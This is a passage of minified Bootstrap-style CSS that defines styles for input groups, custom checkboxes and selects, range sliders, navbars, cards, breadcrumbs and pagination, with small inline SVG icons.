auto;width:1%;min-width:0;margin-bottom:0}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control,.input-group>.form-control-plaintext+.custom-file,.input-group>.form-control-plaintext+.custom-select,.input-group>.form-control-plaintext+.form-control{margin-left:-1px}.input-group>.custom-file .custom-file-input:focus~.custom-file-label,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file .custom-file-input:focus{z-index:4}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.input-group:not(.has-validation)>.custom-file:not(:last-child) .custom-file-label,.input-group:not(.has-validation)>.custom-file:not(:last-child) .custom-file-label::after,.input-group:not(.has-validation)>.custom-select:not(:last-child),.input-group:not(.has-validation)>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group.has-validation>.custom-file:nth-last-child(n+3) .custom-file-label,.input-group.has-validation>.custom-file:nth-last-child(n+3) .custom-file-label::after,.input-group.has-validation>.custom-select:nth-last-child(n+3),.input-group.has-validation>.form-control:nth-last-child(n+3){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-append,.input-group-prepend{display:-ms-flexbox;display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn:focus,.input-group-prepend .btn:focus{z-index:3}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group-lg>.custom-select,.input-group-lg>.form-control:not(textarea){height:calc(1.5em + 1rem + 2px)}.input-group-lg>.custom-select,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-sm>.custom-select,.input-group-sm>.form-control:not(textarea){height:calc(1.5em + .5rem + 2px)}.input-group-sm>.custom-select,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.input-group-lg>.custom-select,.input-group-sm>.custom-select{padding-right:1.75rem}.input-group.has-validation>.input-group-append:nth-last-child(n+3)>.btn,.input-group.has-validation>.input-group-append:nth-last-child(n+3)>.input-group-text,.input-group:not(.has-validation)>.input-group-append:not(:last-child)>.btn,.input-group:not(.has-validation)>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;z-index:1;display:block;min-height:1.5rem;padding-left:1.5rem;-webkit-print-color-adjust:exact;color-adjust:exact;print-color-adjust:exact}.custom-control-inline{display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;left:0;z-index:-1;width:1rem;height:1.25rem;opacity:0}.custom-control-input:checked~.custom-control-label::before{color:#fff;border-color:#007bff;background-color:#007bff}.custom-control-input:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-control-input:focus:not(:checked)~.custom-control-label::before{border-color:#80bdff}.custom-control-input:not(:disabled):active~.custom-control-label::before{color:#fff;background-color:#b3d7ff;border-color:#b3d7ff}.custom-control-input:disabled~.custom-control-label,.custom-control-input[disabled]~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label::before,.custom-control-input[disabled]~.custom-control-label::before{background-color:#e9ecef}.custom-control-label{position:relative;margin-bottom:0;vertical-align:top}.custom-control-label::before{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;pointer-events:none;content:"";background-color:#fff;border:1px solid #adb5bd}.custom-control-label::after{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;content:"";background:50%/50% 50% no-repeat}.custom-checkbox .custom-control-label::before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26l2.974 2.99L8 2.193z'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before{border-color:#007bff;background-color:#007bff}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='4' viewBox='0 0 4 4'%3e%3cpath stroke='%23fff' d='M0 2h4'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-switch{padding-left:2.25rem}.custom-switch .custom-control-label::before{left:-2.25rem;width:1.75rem;pointer-events:all;border-radius:.5rem}.custom-switch .custom-control-label::after{top:calc(.25rem + 2px);left:calc(-2.25rem + 2px);width:calc(1rem - 4px);height:calc(1rem - 4px);background-color:#adb5bd;border-radius:.5rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-switch .custom-control-label::after{transition:none}}.custom-switch .custom-control-input:checked~.custom-control-label::after{background-color:#fff;-webkit-transform:translateX(.75rem);transform:translateX(.75rem)}.custom-switch .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-select{display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem 1.75rem .375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right .75rem center/8px 10px no-repeat;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#6c757d;background-color:#e9ecef}.custom-select::-ms-expand{display:none}.custom-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #495057}.custom-select-sm{height:calc(1.5em + .5rem + 2px);padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem}.custom-select-lg{height:calc(1.5em + 1rem + 2px);padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem}.custom-file{position:relative;display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(1.5em + .75rem + 2px);margin:0;overflow:hidden;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#80bdff;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-file-input:disabled~.custom-file-label,.custom-file-input[disabled]~.custom-file-label{background-color:#e9ecef}.custom-file-input:lang(en)~.custom-file-label::after{content:"Browse"}.custom-file-input~.custom-file-label[data-browse]::after{content:attr(data-browse)}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;overflow:hidden;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(1.5em + .75rem);padding:.375rem .75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#e9ecef;border-left:inherit;border-radius:0 .25rem .25rem 0}.custom-range{width:100%;height:1.4rem;padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:0}.custom-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-ms-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#007bff;border:0;border-radius:1rem;-webkit-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-webkit-slider-thumb{-webkit-transition:none;transition:none}}.custom-range::-webkit-slider-thumb:active{background-color:#b3d7ff}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;-moz-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-moz-range-thumb{-moz-transition:none;transition:none}}.custom-range::-moz-range-thumb:active{background-color:#b3d7ff}.custom-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;margin-top:0;margin-right:.2rem;margin-left:.2rem;background-color:#007bff;border:0;border-radius:1rem;-ms-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-ms-thumb{-ms-transition:none;transition:none}}.custom-range::-ms-thumb:active{background-color:#b3d7ff}.custom-range::-ms-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:.5rem}.custom-range::-ms-fill-lower{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px;background-color:#dee2e6;border-radius:1rem}.custom-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.custom-range:disabled::-webkit-slider-runnable-track{cursor:default}.custom-range:disabled::-moz-range-thumb{background-color:#adb5bd}.custom-range:disabled::-moz-range-track{cursor:default}.custom-range:disabled::-ms-thumb{background-color:#adb5bd}.custom-control-label::before,.custom-file-label,.custom-select{transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-control-label::before,.custom-file-label,.custom-select{transition:none}}.nav{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-link{margin-bottom:-1px;background-color:transparent;border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{isolation:isolate;border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{background:0 0;border:0;border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#007bff}.nav-fill .nav-item,.nav-fill>.nav-link{-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item,.nav-justified>.nav-link{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;padding:.5rem 1rem}.navbar .container,.navbar .container-fluid,.navbar .container-lg,.navbar .container-md,.navbar .container-sm,.navbar .container-xl{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-ms-flex-positive:1;flex-grow:1;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:50%/100% 100% no-repeat}.navbar-nav-scroll{max-height:75vh;overflow-y:auto}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.5);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{-ms-flex:1 1 auto;flex:1 1 auto;min-height:1px;padding:1.25rem}.card-title{margin-bottom:.75rem}.card-subtitle{margin-top:-.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-footer{padding:.75rem 1.25rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-right:-.625rem;margin-bottom:-.75rem;margin-left:-.625rem;border-bottom:0}.card-header-pills{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem;border-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom,.card-img-top{-ms-flex-negative:0;flex-shrink:0;width:100%}.card-img,.card-img-top{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{-ms-flex:1 0 0%;flex:1 0 0%;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.card-columns .card{margin-bottom:.75rem}@media (min-width:576px){.card-columns{-webkit-column-count:3;-moz-column-count:3;column-count:3;-webkit-column-gap:1.25rem;-moz-column-gap:1.25rem;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion{overflow-anchor:none}.accordion>.card{overflow:hidden}.accordion>.card:not(:last-of-type){border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion>.card:not(:first-of-type){border-top-left-radius:0;border-top-right-radius:0}.accordion>.card>.card-header{border-radius:0;margin-bottom:-1px}.breadcrumb{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:.25rem}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{float:left;padding-right:.5rem;color:#6c757d;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#6c757d}.pagination{display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:3;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:3;color:#fff;background-color:#007bff;border-color:#007bff}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child 